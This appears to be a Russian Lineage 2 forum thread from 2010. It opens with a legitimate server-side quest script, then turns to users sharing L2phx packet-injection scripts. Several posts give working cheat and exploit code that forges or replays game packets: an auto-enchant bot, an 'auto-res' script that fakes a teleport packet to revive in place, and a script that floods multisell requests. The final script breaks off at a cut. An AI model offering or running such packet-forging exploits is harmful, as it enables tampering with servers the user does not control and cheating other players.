Когда вы скажете гному, что хотите играть с ним, просто кликайте по ссылке, чтобы тянуть карту, до тех пор, пока он не скажет вам, выиграли вы или проиграли. Если вы проиграли, то не получите ничего. Если выиграете, то можете или взять награду, или продолжить тянуть карты. Если вы отказывайтесь от предложенной награды и продолжите играть, то награда увеличивается. Вы можете попытать счастья получить более ценный приз, но, если в этом случае проиграете, то не получите ни его, ни то, что гном предлагал ранее.
Награда:
1 выигрышный раунд - 40,000а
2 выигрышных раунда - 80,000а
3 выигрышных раунда - 110,000а, EWD
4 выигрышных раунда - 199,000а, EWC
5 выигрышных раундов - 388,000а, 60% рецепт на B-grade weapon
6 выигрышных раундов - 675,000а, 1 кусок на B-grade weapon
7 выигрышных раундов - 1,284,000а, 2 EWB, 2 EAB
8 выигрышных раундов - 2,384,000а, 1 EWA, 2 EAA


Сам скрипт


# by minlexx
import sys
from net.sf.l2j.gameserver.model.quest import State
from net.sf.l2j.gameserver.model.quest import QuestState
from net.sf.l2j.gameserver.model.quest.jython import QuestJython as JQuest

qn = "663_SeductiveWhispers"

# Npc
WILBERT = 30846

MOBS = [20674, 20678, 20954, 20955, 20956, 20957, 20958, 20959, 20960, 20961, 20962, 20974, 20975, 20976, 20996, 20997, 20998, 20999, 21001, 21002, 21006, 21007, 21008, 21009, 21010]

# Quest Item
SPIRIT_BEAD = 8766

# Drop chance, win chance need check for correct values
DROP_CHANCE = 80
WIN_ROUND_CHANCE = 66

# Reward items
ADENA = 57
EWA = 729 # Scroll: Enchant Weapon A
EAA = 730 # Scroll: Enchant Armor A
EWB = 947 # Scroll: Enchant Weapon B
EAB = 948 # Scroll: Enchant Armor B
EWC = 951 # Scroll: Enchant Weapon C
EWD = 955 # Scroll: Enchant Weapon D

# ====== Rewards - B grade 60% weapon recipes & keymats =========
# These are just most popular B weapons, need retail check here
# Blunts: Art of Battle Axe, Staff of Evil Spirits (2)
# Bows: Bow of Peril (1)
# Daggers: Demon Dagger, Kris (2)
# Fists: Bellion Cestus (1)
# Polearms: Lance (1)
# Swords: Great Sword, Keshanberk, Sword of Valhalla (3)
# ====== Total: 10; In that order they come in a set below: ======
B_RECIPES = [4963, 4966, 4967, 4968, 5001, 5003, 5004, 5005, 5006, 5007]
B_KEYMATS = [4101, 4107, 4108, 4109, 4115, 4117, 4118, 4119, 4120, 4121]

class Quest (JQuest) :

def __init__(self,id,name,descr):
JQuest.__init__(self,id,name,descr)
self.questItemIds = []

def onEvent (self,event,st) :
htmltext = event
if event == "Wilbert_IWantToPlay.htm": # quest accepted
st.setState(State.STARTED)
st.playSound("ItemSound.quest_accept")
st.set("cond","1")
st.set("round","0")
elif event == "Wilbert_ExitQuest.htm": # quest finished
st.playSound("ItemSound.quest_finish")
st.exitQuest(1)
elif event == "Wilbert_IWantToPractice.htm": # practice start dialog
beads=st.getQuestItemsCount(SPIRIT_BEAD)
if beads<1:
htmltext = "Wilbert_Practice_NotEnoughBeads.htm"
elif event == "Wilbert_Practice.htm": # "try luck" pressed (Practice)
beads=st.getQuestItemsCount(SPIRIT_BEAD) # get beads count, it must be > 1
if beads<1:
htmltext = "Wilbert_Practice_NotEnoughBeads.htm"
else:
st.takeItems(SPIRIT_BEAD,1) # take one bead as payment for luck test
random=st.getRandom(100)
if random<WIN_ROUND_CHANCE: # random value is in range [0..WIN_ROUND_CHANCE]
htmltext = "Wilbert_PracticeWon.htm"
else: # lose practice
htmltext = "Wilbert_PracticeLost.htm"
elif event == "Wilbert_LetsPlay.htm": # "Let's play" pressed
beads=st.getQuestItemsCount(SPIRIT_BEAD)
if beads<50:
htmltext = "Wilbert_Practice_NotEnoughBeads.htm"
else:
htmltext = "Wilbert_PlayRound1.htm"
st.set("round","0")
elif event == "Wilbert_PullCard.htm": # "Pull first or next card" pressed
round=st.getInt("round")
beads=st.getQuestItemsCount(SPIRIT_BEAD)
if beads<50 and round == 0: # check for 50 beads when game just starts only (round=0)
htmltext = "Wilbert_Practice_NotEnoughBeads.htm"
else:
if round == 0: # take 50 beads when game just starts only (round=0)
st.takeItems(SPIRIT_BEAD,50)
random=st.getRandom(100)
if random>WIN_ROUND_CHANCE: # random value is in range [WIN_ROUND_CHANCE..100]
htmltext = "Wilbert_PlayLose.htm"
st.set("round","0") # restart game
else: # next round won
round = round + 1
htmltext = st.showHtmlFile("Wilbert_PlayWin.htm").replace("NROUND", str(round))
if round == 1:
htmltext = htmltext.replace("MYPRIZE","40,000 adena")
if round == 2:
htmltext = htmltext.replace("MYPRIZE","80,000 adena")
if round == 3:
htmltext = htmltext.replace("MYPRIZE","110,000 adena, D-grade Enchant Weapon Scroll")
if round == 4:
htmltext = htmltext.replace("MYPRIZE","199,000 adena, C-grade Enchant Weapon Scroll")
if round == 5:
htmltext = htmltext.replace("MYPRIZE","388,000 adena, 1 recipe for a B-grade weapon")
if round == 6:
htmltext = htmltext.replace("MYPRIZE","675,000 adena, 1 essential ingredient for a B-grade weapon")
if round == 7:
htmltext = htmltext.replace("MYPRIZE","1,284,000 adena, 2 B-grade Enchant Weapon Scrolls, 2 B-grade Enchat Armor Scrolls")
if round == 8: # reached round 8; give prizes and restart game
round = 0
st.giveItems(ADENA,2384000)
st.giveItems(EWA,1) # Scroll: Enchant Weapon A
st.giveItems(EAA,2) # Scroll: Enchant Armor A
htmltext = "Wilbert_PlayWonRound8.htm"
st.set("round",str(round))
elif event == "Wilbert_TakePrize.htm": # player won round and wants to stop game and take prize
round=st.getInt("round")
if round == 0: # player did not win any round but wants to take prize? O_o
htmltext = "<html><body>You did not win any round! No prizes.</body></html>"
return htmltext
if round > 8: # some bug or hack?
st.set("round","0")
htmltext = "<html><body>Round cannot be > 8 !!!</body></html>"
return htmltext
st.set("round","0") # first set round to 0 - game ended.
htmltext = "Wilbert_PrizeTaken.htm"
# give prize depending on current round won
if round == 1:
st.giveItems(ADENA,40000)
elif round == 2:
st.giveItems(ADENA,80000)
elif round == 3:
st.giveItems(ADENA,110000)
st.giveItems(EWD,1) # Scroll: Enchant Weapon D
elif round == 4:
st.giveItems(ADENA,199000)
st.giveItems(EWC,1) # Scroll: Enchant Weapon C
elif round == 5:
st.giveItems(ADENA,388000)
# 60% B-weap. rec number is random
st.giveItems(B_RECIPES[st.getRandom(len(B_RECIPES))], 1)
elif round == 6:
st.giveItems(ADENA,675000)
# B-weap. key number is random
st.giveItems(B_KEYMATS[st.getRandom(len(B_KEYMATS))], 1)
elif round == 7:
st.giveItems(ADENA,1284000)
st.giveItems(EWB,2) # Scroll: Enchant Weapon B
st.giveItems(EAB,2) # Scroll: Enchant Armor B
# for round 8 prize is automatically when player wins 8 round
return htmltext

def onTalk (self,npc,player):
st = player.getQuestState(qn)
htmltext = "<html><body>You are either not on a quest that involves this NPC, or you don't meet this NPC's minimum quest requirements.</body></html>"
if not st : return htmltext
npcId = npc.getNpcId()
id = st.getState()
# first talk to Wilbert
if npcId == WILBERT and id == State.CREATED:
if player.getLevel() >= 50 : # check player level
htmltext = "Wilbert_start.htm"
else:
htmltext = "<html><body>This quest is for characters above level 50 only.</body></html>"
st.exitQuest(1)
# talk to Wilbert when quest already in progress
elif npcId == WILBERT and id == State.STARTED :
htmltext = "Wilbert_QuestInProgress.htm"
return htmltext

def onKill(self,npc,player,isPet):
st = player.getQuestState(qn)
if not st : return
if st.getState() != State.STARTED : return
npcId = npc.getNpcId()
if npcId in MOBS:
if st.getRandom(100) < DROP_CHANCE:
st.giveItems(SPIRIT_BEAD,1)
st.playSound("ItemSound.quest_itemget")
return

QUEST = Quest(663,qn,"Seductive Whispers")

QUEST.addStartNpc(WILBERT)
QUEST.addTalkId(WILBERT)

for mobId in MOBS:
QUEST.addKillId(mobId)

firefoxi
24.07.2010, 02:16
бегуший титул
тестил на интерлюде все норм пашет
(может было хз если что сори)

// Бегущая строка в титуле, ©Br1nk v0.2
// пишем rt в пати чате для включения и выключения

var
title, temp, titleoff: string;
activated, mult, safemode: integer;
tmr: TTimer;

procedure Init; //Вызывается при включении скрипта
begin
title := 'Padre JIoX A MHe IIoX '; // текст титула
titleoff := '~KPEBEDKO~';
activated := 0; // Определяет, включается ли бегущая строка сразу при запуске скрипта или только после введения команды rt в патичат
safemode := 1; // безопасный режим, стандартная длина титула. Если вы играете на кривой яве, поставьте 0, это даст вам более длинный титул, соответственно выглядит пижже..)
tmr := TTimer.Create(nil);
tmr.Interval := 350; // Частота обновления (мс)
tmr.Enabled := False;
tmr.OnTimer := @Tick;
mult := 1; // Определяет на сколько букв сдвигается строка в титуле при обновлении
end;

procedure Free;
begin
tmr.Free;
SetTitle(titleoff);
end;

procedure Tick;
begin
temp := copy(title, 2 + mult, Length(title) - 1 - mult) + copy(title, 1, 1 + mult);
title := temp;
if safemode then
SetTitle(Copy(temp, 0, 16))
else
SetTitle(temp);
end;

procedure Announce(text:string); // for debug purposes
begin
buf := #$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(text);
SendToClient;
end;

procedure SetTitle(text: string);
begin
buf := HStr('55');
WriteS(ConnectName);
WriteS(text);
WriteD(0);
SendToServer;
end;

begin
if FromClient and (pck=HStr('38 72 00 74 00 00 00 03 00 00 00')) then
begin
if (activated = 1) then
begin
activated := 0;
SetTitle(titleoff);
Announce('Title script powered off.');
end
else
activated := 1;
pck := '';
end;
if (activated = 1) then
tmr.Enabled := True
else
tmr.Enabled := False;
end.

Syava~
25.07.2010, 12:51
'<button value=" Hero " action="bypass Hero" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<font color="LEVEL"> mks </font><br>'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<button value=" стоп" action="bypass stop" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<font color="LEVEL">TAMBIK</font><br>'+
'</center></body></html>';
//==========================================

var
Bypass:string;
autoText:Boolean;
TextType:integer;

//==========================================
// ShowHTML(HTML);
Procedure ShowHTML( _html : string );
begin
buf:=#$19;
WriteD(5);
WriteS(_HTML);
SendToClientEx(myname);
end;
//========================
procedure ActionUse; //2=PM, 3=Party, 4=Clan, 8=Trade, 9=Alli, 17=Hero
begin
Bypass:=ReadS(2);
case Bypass of
'Trade':begin autoText:=true;TextType:=8; end;//Trade
'Party':begin autoText:=true;TextType:=3; end;//Party
'Clan':begin autoText:=true;TextType:=4; end;//Clan
'Alli':begin autoText:=true;TextType:=9; end;//Alli
'PM':begin autoText:=true;TextType:=0; end;//PM
'Hero':begin autoText:=true;TextType:=17;end;//Hero
'stop':begin autoText:=false;TextType:=0;end;
end;
end;
//-----------------------------------------
procedure Init;
begin
TextType:=0;
autoText:=false;
end;
procedure Free;
begin

end;
//Tип: 0x4A (CreatureSay)
//Pазмер: 83+2
//Время прихода: 12:35:56:375
//0002 d ObjectID: 268899150 (0x1007134E)
//0006 d TextType: 15 (0x0000000F)
//000A s CharName: MaFaca
//0018 s Text: ВТТ ВАШ СЕПОР С СА, ПРЕДЛЫ ПМ
//=========================
begin
//не обрабатываем пустые пакеты
if pck='' then exit;
if FromClient and (pck[1]=#$34) and (ReadD(2)=06) then begin ShowHTML(HTML); pck:='';exit;end;
if FromClient and (pck[1]=#$23) then begin ActionUse; pck:='';exit;end; //
if FromServer and autoText and (pck[1]=#$4A) and (ReadD(6)=TextType) then begin
buf:=pck;
WriteD(15,6);
pck:=buf;
end;

Простенький скрипт для "глухих", перенаправляет сообщения))
немного добавил..
тестил на IT. Gracia Final

Добавлено через 5 минут
Авто заточка для любых хроник 100% рабочия


// для любых хроник
// в пати чат пишем уровень заточки
// можно менять в процесе работы скрипта
// заточить один раз чтоб запомнить чем и что точить
// точить для запоминания по одному предмету
// если будите точить разные предметы
// предметы должны соответствовать применяемому skrol
// СТАРТ нажать соцдействие ДА
// СТОП нажать соцдействие НЕТ
// включить системные сообщения соцдействие - приветствие \ hello
// выключить системные сообщения соцдействие - победа \ victory
// дальше скрипт сам точит до указаного уровня заточки
// все предметы одинаковые с первыми заточеными
// точит первый предмет до максима потом второй и т.д
// т.е если вы заточили несколько разных предметов
// одного класса армор или веапон они будут точиться
// АВТОР ==>>>> TAMBIK
program Enchant_gracia;
const
myname='TAMBIK'; //<<== пишем свой НИК
max=140;//<<== колличество ячеек в рюкзаке
var
BaseItems:array[1..max,1..11] of integer;
BaseID:array[1..max] of integer;
Timer01: TTimer;
Timer02: TTimer;
Timer03: TTimer;
flag,start,select,selectID,autoMsg:Boolean;
autostart:Boolean;
mytext:string;
ListSize,ItemEnch:word;
textID,itemID:integer;
enchantObjectID:integer;
enchantID,skrolObjectID:integer;
ItemOID,objectOID: integer;
sumskrol,sumitemID: integer;
key,x,y,ii:integer;
maxlvl: integer;
GetiD:integer;
skrolID,skrolObj:integer;
t,l,d:integer;
//-----------------------------------------
procedure SendMsg2(msg:string);
begin
if autoMsg then begin
buf:=#$4A;
WriteD(0);
WriteD(3);
WriteS('');
WriteS(msg);
SendToClientEx(myname);
end;
end;
//===========================================
procedure Resultmaxlvl;
var
i:integer;
begin
if FromClient and (pck[1]=#$49) then begin
i:=2;
mytext:=ReadS(i);
textID:=ReadD(i);
if (textID=3) then begin
maxlvl:=StrToInt(mytext);
SendMsg2( ' установлен Уровень Заточки: '+IntToStr(maxlvl)+'' );
pck:='';
exit;
end;
end;
end;
//.................................................. ............................
procedure ItemList;
var
i, j, k: integer;
count,x:integer;
begin
count:=0;
x:=0;
y:=0;
j:=4; //пропускаем дo ListSize
ListSize:=ReadH(j);
for i:=1 to ListSize do
if (i<=ListSize) then begin
BaseItems[i,1]:=ReadH(j); //ItemType1- 1:одето броня. 0:бижа. 4:в рюкзаке
BaseItems[i,2]:=ReadD(j); //ObjectID
BaseItems[i,3]:=ReadD(j); //ItemID
BaseItems[i,4]:=ReadD(j); //LocationSlot
BaseItems[i,5]:=ReadD(j); // Amount:
BaseItems[i,6]:=ReadD(j); // Amount:
BaseItems[i,7]:=ReadH(j);//ItemType2
BaseItems[i,8]:=ReadH(j);// CustomType1
BaseItems[i,9]:=ReadH(j);//isEquipped:
BaseItems[i,10]:=ReadD(j);//BodyPart
BaseItems[i,11]:=ReadH(j);//EnchantLevel
inc(x); // счетчик
count:=round((Length(pck)-5) / ListSize);// длина блока
//y := пропускаем до следущего блока
y:=count*x-(j-6);// . 6= длина ListSize + 4 байта пропуска в начале пакета
inc(j,y);
end else for k:=1 to 11 do BaseItems[i,k]:=0; // забиваем нулями

if (0 < skrolObjectID) then begin
sumskrol:=Getitem(skrolID,3,5);
SendMsg2 (' SKROL ... c ID : '+IntToStr(skrolID)+' = '+IntToStr(sumskrol)+' ШТ ');
if start and (0<sumskrol) then Timer01.enabled:=true;
if (sumskrol=0) then begin
Timer01.enabled:=false;
stopselectskrol;
SendMsg2 ('........ НЕДОСТАТОЧНО SKROL........ ');
SendMsg2 ('___ О С Т А Н О В Л Е Н О ___ ');
end;
end;
end;
//=============================
procedure EnchantResult;
begin

end;
//=============================
procedure InventoryUpdate;
var
Id,ObjId:integer;
begin
ObjId:=ReadD(8);
Id:=ReadD(12);
SendMsg2 ('удален предмет Id : '+IntToStr(Id)+' ObjectID: '+IntToStr(ObjId)+' ');
deleteBase;
end;
//=============================
procedure deleteBase;
var
i,j,k:integer;
begin
for i:=1 to max do
if (BaseItems[i,2]=enchantID) then begin
BaseItems[i,1]:=0;
BaseItems[i,2]:=0; //ObjectID
BaseItems[i,3]:=0; //ItemID
BaseItems[i,4]:=0;
BaseItems[i,5]:=0;
BaseItems[i,6]:=0;
BaseItems[i,7]:=0;
BaseItems[i,8]:=0;
BaseItems[i,9]:=0;
BaseItems[i,10]:=0;
BaseItems[i,11]:=0;
inc(j,y);
end else for k:=1 to 11 do BaseItems[i,k]:=0; // забиваем нулями
end;
//===========================================
//
//===========================
function Getitem(Obj,up,down:integer): integer;
var
i: integer;
begin
Result:= 0; //В начале у нас 0
for i:=1 to max do
if (BaseItems[i,up]=Obj) then begin
Result:=BaseItems[i,down];
end;
end;
//===========================
function Getsumitem(Obj,up,down:integer): integer;
var
i: integer;
begin
Result:= 0; //В начале у нас 0
for i:=1 to max do
if (BaseItems[i,up]=Obj) then begin
Result:=Result+BaseItems[i,down];
end;
end;
//=================================
//добавляем в базу ID предмета
procedure addIDtoarray(ItemOID:integer);
begin
SendMsg2( '------------------------------------- ' );
SendMsg2 (' добавить в базу для заточки ID : '+IntToStr(ItemOID)+' Предмета ');
SendMsg2(' .................' );
flag:=false;
for ii:=1 to max do
if (BaseID[ii]=ItemOID) then begin // текущий ID уже есть в массиве,
flag := true;
sumitemID:=Getsumitem(ItemOID,3,5);//счет скоко предметов
SendMsg2 (' предмет в базе есть с ID : '+IntToStr(ItemOID)+' = '+IntToStr(sumitemID)+' ШТ ');
SendMsg2( '------------------------------------- ' );
Break; // прерываем дальнейший перебор массива.
end;
if (flag = false) then begin
for ii:=1 to max do
if (BaseID[ii]=0) then begin // добавим ID в массив,
BaseID[ii]:=ItemOID;
sumitemID:=Getsumitem(ItemOID,3,5);//счет скоко предметов
SendMsg2 (' Добавлен Предмет с ID : '+IntToStr(ItemOID)+' = '+IntToStr(sumitemID)+' ШТ ');
SendMsg2( '------------------------------------- ' );
Break; // прерываем дальнейший перебор массива.
end;
end;
end;
//=============================
procedure ChooseInventory;
begin

if (itemID>0) then begin
objectOID:=GetObjectID(itemID);//находим по ItemID предмет с ObjectID
if (objectOID=0) then begin
stopselectskrol;
SendMsg2 (' предметов c ID : '+IntToStr(itemID)+' для заточки НЕТ ! ! ! ! ');
for ii:=1 to max do
if (BaseID[ii]=itemID) then begin
BaseID[ii]:=0;
SendMsg2 (' ..... ПОИСК ______ ПРЕДМЕТА..... ');
GetItemID ;
Break; // прерываем дальнейший перебор массива.
end;
if (itemID=0) then begin
SendMsg2 ('___НЕТ ПРЕДМЕТОВ ДЛЯ ЗАТОЧКИ___ ');
SendMsg2 (' ___ О С Т А Н О В Л Е Н О ___ ');
stopselectskrol;
start:=false;
end;
end;
end;
end;

//=================================
// GetiD:=GetItemID(itemID);//находим в базе ItemID предмет для Заточки
//находим ItemID предмета для Заточки в базе ItemID
procedure GetItemID ;
begin
if start then begin
if (maxlvl=0) then begin
SendMsg2 (' неуказан уровень заточки ');
stopselectskrol;
SendMsg2 ('___ О С Т А Н О В Л Е Н О ___ ');
end;
if (maxlvl>0) then begin
itemID:=0;
for ii:=1 to max do
if (BaseID[ii]<>0) then begin
itemID:=BaseID[ii];
SendMsg2 (' НАШЛИ ПРЕДМЕТ для ЗАТОЧКИ с ID = '+IntToStr(itemID)+' ');
Timer01.enabled:=true;
Break; // прерываем дальнейший перебор массива.
end;
end;
end;
end;
//=================================
//находим enchantID предмета по ItemID для заточки
function GetObjectID(itemID:integer) : integer;
var
i:integer;
begin
enchantID:= 0;
ItemEnch:=0;
Result:= 0;
SendMsg2('------------------------------' );
if (itemID>0) then begin
SendMsg2 (' ищем ObjectID предмета с ID : ' +IntToStr(itemID)+' ');
SendMsg2('------------------------------' );
for i:=1 to max do
if (BaseItems[i,3]= itemID) and (BaseItems[i,11]< maxlvl) then begin
enchantID:=BaseItems[i,2];
Result:=BaseItems[i,2];
ItemEnch:=BaseItems[i,11];
SendMsg2(' ..... найден предмет для заточки ..... ');
SendMsg2(' ID : '+IntToStr( itemID)+' и ObjectID : '+IntToStr(enchantID)+' заточен до : '+IntToStr(ItemEnch)+' ');
SendMsg2('------------------------------' );
if (enchantID>0) then startselectEnch;
Break; // прерываем дальнейший перебор массива.
end;
end;
end;
//==========================
procedure stopselectskrol;
begin
buf:=hstr('D04E00');
SendToServerEx(myname);
end;
//===================================
procedure OnTimer01(Sender: TObject);
begin
buf:=#$19;
WriteD(skrolObjectID);
WriteD(0);
SendToServerEx(myname);
Timer01.enabled:=false;
end;
//--------------------------
procedure startselectEnch;
begin
Timer02.enabled:=true
end;
procedure OnTimer02(Sender: TObject);
begin
buf:=hstr('D04C00');
WriteD(enchantID);
SendToServerEx(myname);
Timer02.enabled:=false;
Timer03.enabled:=true;
end;
procedure OnTimer03(Sender: TObject);
begin
buf:=#$5F;
WriteD(enchantID);
WriteD(0);
SendToServerEx(myname);
Timer03.enabled:=false;
SendMsg2(' ..... Точим Предмет ..... ');
SendMsg2( ' ID : '+IntToStr(itemID)+' ObjectID : '+IntToStr(enchantID)+' - до : '+IntToStr(maxlvl)+' ' );
SendMsg2( '_______________________________' );
end;
//-----------------------------------------
procedure Init;
begin
t:=0;l:=0;d:=0;
autostart:=false;
flag:=false;
selectID:=false;
autoMsg:=true;
GetiD:=0;
sumskrol:=0;
objectOID:=0;
maxlvl:=0;
itemID:=0;
enchantID:=0;
ItemEnch:=0;
start:=false;
select:=false;
skrolObjectID:=0;
enchantObjectID:=0;
Timer01:=TTimer.Create(nil);
Timer01.OnTimer:=@OnTimer01;
Timer01.enabled:=false;
Timer01.interval:=400; //<<== время выбора свитка

Timer02:=TTimer.Create(nil);
Timer02.OnTimer:=@OnTimer02;
Timer02.enabled:=false;
Timer02.interval:=400; //<<== время выбора предмета

Timer03:=TTimer.Create(nil);
Timer03.OnTimer:=@OnTimer03;
Timer03.enabled:=false;
Timer03.interval:=3000; //<<== время между заточкой

SendMsg2( 'в пати чат пишем уровень заточки' );
SendMsg2( ' заточить предметы один раз ! ! !' );
SendMsg2( ' СТАРТ соцдействие ДА ' );
SendMsg2( ' СТОП соцдействие НЕТ' );
SendMsg2('В К Л сообщения соцдействие-приветствие\hello ' );
SendMsg2('ВЫКЛ сообщения соцдействие-победа\victory ' );
SendMsg2( '------------------------------------- ' );
buf:=hstr('14');
SendToServerEx(myname);
for ii:=1 to max do
BaseID[ii]:=0;
end;
procedure Free;
begin
Timer01.free;
Timer02.free;
Timer03.free;
end;
//=========================
procedure RequestActionUse;
begin
case ReadD(2) of
12:begin autoMsg:=true; pck:=''; exit; end;
13:begin autoMsg:=false; pck:=''; exit; end;
24:begin
if (autostart=false) then SendMsg2( 'предмет незаточен или пакеты неприняты !' );
if autostart then begin
SendMsg2( ' ! ! ! П О Е Х А Л И ! ! !' );
SendMsg2( '_______________________________' );
start:=true;
GetItemID ;
pck:='';
exit;
end;
end;
25:begin
start:=false;
enchantID:=0;
ItemEnch:=0;
Timer01.enabled:=false;
Timer02.enabled:=false;
Timer03.enabled:=false;
SendMsg2( ' ! ! ! С Т О П ! ! ! ' );
stopselectskrol;
pck:='';
exit;
end;
end;
end;

//=========
begin
//не обрабатываем пустые пакеты
if pck='' then exit;
if FromServer and (pck[1]=#$87) then EnchantResult;
if FromServer and (pck[1]=#$21) and (ReadH(4)=3)then InventoryUpdate;
if FromServer and (pck[1]=#$11) then ItemList;
if FromServer and (pck[1]=#$7C) then ChooseInventory;
if FromClient and (pck[1]=#$49) then Resultmaxlvl;
if FromClient and (pck[1]=#$56) then RequestActionUse;

begin
if (start=false) and FromClient then
case pck[1] of
#$19:begin
t:=1;
skrolObjectID:=ReadD(2);
skrolID:= Getitem(skrolObjectID,2,3);//находим по ObjectID скрол с ItemID
SendMsg2(' .................' );
SendMsg2(' активирован SKROL ID : '+IntToStr(skrolID)+' ' );
SendMsg2(' .................' );
buf:=hstr('14');
SendToServerEx(myname);
end;
#$D0:if ReadH(2)=76 then begin
l:=1;
SendMsg2(' окно выбора предмета ' );
SendMsg2(' .................' );
end;
#$5F:begin
d:=1;
enchantObjectID:=ReadD(2);
if (t=1) and (l=1) and (d=1) then begin
autostart:=true;
ItemOID:= Getitem(enchantObjectID,2,3);//находим по ObjectID предмет с ItemID
SendMsg2 (' заточен предмет c ID : '+IntToStr(ItemOID)+' ');
SendMsg2(' .................' );
addIDtoarray(ItemOID);//добавляем в базу ID предмета
stopselectskrol;
end;
end;
end;
end;
end.

Добавлено через 19 минут
для лоу рейтов
Скрипты для валкера

Первая профа Human Wizard
Надо немного денег, и сое штук 10.
Не предусмотрено погибель чара. Так же цены могут не много не совподать
[Ссылки могут видеть только зарегистрированные и активированные пользователи]


Trade with Ivory Tower
Скрипт на выполнение даркэльфийского грибного квеста.
Запускать скрипт на даркэльфийской территории или в городу (у нубигайда).
В скрипте нет проверок на перегрузку и продажи хлама.
[Ссылки могут видеть только зарегистрированные и активированные пользователи]


Скрипт на прохождение первой профы на Scaveneger'а. Два скрипта. Сначало первый, потом второй.
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

Markulus
08.08.2010, 02:56
везде видел упоминание о скрипте на авто рес.. а может кто выложит?

MyHanD's
08.08.2010, 17:53
Const
Name='Своё имя вписать сюда';

var
// переменная
ValidatePosition:string;
a:integer; b:boolean;

procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет!');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClientEX(Name);
end;
//защитная часть
begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
If FromClient and (pck=hstr('38 2E 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
Buf:=#$9F;
WriteD(a);
buf:=buf+ hstr('01 00 00 00 56 0D 20 10 02 00 00 00');
SendToServerEX(Name);
end;
end.

Рабочийй скрипт на ИТ. Мало где фикс.

4yna4ynC
09.08.2010, 12:28
везде видел упоминание о скрипте на авто рес.. а может кто выложит?

//Скрипт на возрождение на месте после смерти.
//Включите скрипт,когда вы умерли возьмите себя в таргет и нажмите в город.
//Вы встанете наместе.
//Автор pmen ICQ - 479917081
//=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+=+=+=+=+=+=+=+=+=+=
const
//======================================
Name='Krisa'; //<-----Ник Персонажа
//======================================
var
a:integer;x:integer;MyID:string;
y:integer;z:integer;
b:boolean;ValidatePosition:string;
procedure Init; //Вызывается при включении скрпта
begin
SendMsc('Возьми себя в таргет'); //Системное сообщение
b:=false; //Условие b первоночально False
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
begin
//Нечитаем пустые пакеты
if pck='' then exit;
//Если Имя соединения Name
//И Пакет Action от клиента то
if FromClient and (ConnectName=Name) and (pck[1]=#$04) then
begin
//Сохраняем мой Обжект Ид
MyID:= pck[2]+pck[3]+pck[4]+pck[5];
a:=ReadD(2); x:=ReadD(6); //Читаем и запоминаем данные
y:=ReadD(10); z:=ReadD(14);
SendMsc('Все данные сохранены!'); //Оповещаем о том что все прошло успешно
b:=true;
end;
begin
if pck='' then exit; //Не читаем пустые пакеты
//Если от Клиента пакет RequestRestartPoint
//Запоминаем ValidatePosition до revive
//Посылаем клиенту TeleportToLocation
if FromClient and (ConnectName=Name) and (pck=hstr('6D 00 00 00 00')) then
if FromClient and (ConnectName=Name) and (pck[1]=#$48) then ValidatePosition:=pck;
if FromServer and (ConnectName=Name) and (pck[1]=#$28) and (MyID= pck[2]+pck[3]+pck[4]+pck[5]) then
begin
pck:=''; //Убиваем стандартный пакет
buf:=ValidatePosition; //посылаем ValidatePosition
SendToServerEX(Name);
buf:=#$28;
WriteD(A); //Obj.ID
WriteD(X); //Coord.X
WriteD(Y); //Coord.Y
WriteD(Z); //Coord.Z
SendtoclientEX(Name);
buf:=ValidatePosition; //посылаем ValidatePosition
SendToServerEX(Name);
end;
end;
end.

IncubusX
10.08.2010, 21:21
Добрый вечер, решил сделать скрипт для l2phx для автоматической проверки мультиселлов, но столкнулся с такой проблемой, если лист большой то слишком долго менять скрипт надо. За пример взял скрипт с Coderx.ru
var
TimerCycle:integer;
timer:TTimer;

procedure Init;
begin
timer:=TTimer.Create(nil);
timer.interval:=1;
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
TimerCycle:=1;
end;

procedure OnTimer(Sender: TObject);
begin
case TimerCycle of
1:begin
buf:=HStr('A70487010040420F00010000000000000000000 000'); //1 пакет
sendtoserver;
Inc(TimerCycle);
timer.interval:=1;
end;
2:begin
buf:=HStr('A709030000200B2000010000000000000000000 000'); //2 пакет
sendtoserver;
Inc(TimerCycle);
timer.interval:=1;
end;
3:begin
buf:=HStr('A709030000801A0600E80300000000000000000 000'); //3 пакет
sendtoserver;
Inc(TimerCycle);
timer.interval:=1;
end;
4:begin
buf:=HStr('A711270000A0860100010000000000000000000 000'); //4 пакет
sendtoserver;
TimerCycle:=1;
timer.interval:=1;
end;
end;
end;

procedure Free;
begin
timer.free;
end;


begin
useforconnectid := ConnectID;
if FromClient and (pck=HStr('56 0D 00 00 00 00 00 00 00 00')) then timer.enabled:=true;
if FromClient and (pck=HStr('39 0F 02 00 00 00 00 00 00 00')) then timer.enabled:=false;
end.

Но при такой реализации необходимо каждый пакет добавлять в скрипт, самой лучшей реализацией было бы иметь в папке со скриптом файл например packet.pct в котором спосок мультиселлов а скрипт считывает построчно из этого файла эти пакеты пока они не кончатся. Прошу помочь реализовать данный скрипт, он будет полезен не только мне! :elefant:

ParaDie[Z]
26.08.2010, 20:42
Расчитано на пвп серваки и изобилие блес точек...
Использование: включаем скрипт, c помощью приветствия(1-е социальное действие), забиваем ник и уровень точки, точим нужную шмотку на +1(не важно со скольки), скрипт запоминает необходимые данные, 1е соц действие включает и выключает автозаточку.Скорость заточки выставлена 700мс(+2 в секунду), можно ускорять или замедлять в зависимости от сервака...
Сам скрипт:
const
nik='Ваш ник';
Enchant=6; ///до скольки нужно точить

var
UseItem, SelectItem, EnchantItem: string;
CurrentEnch: integer;
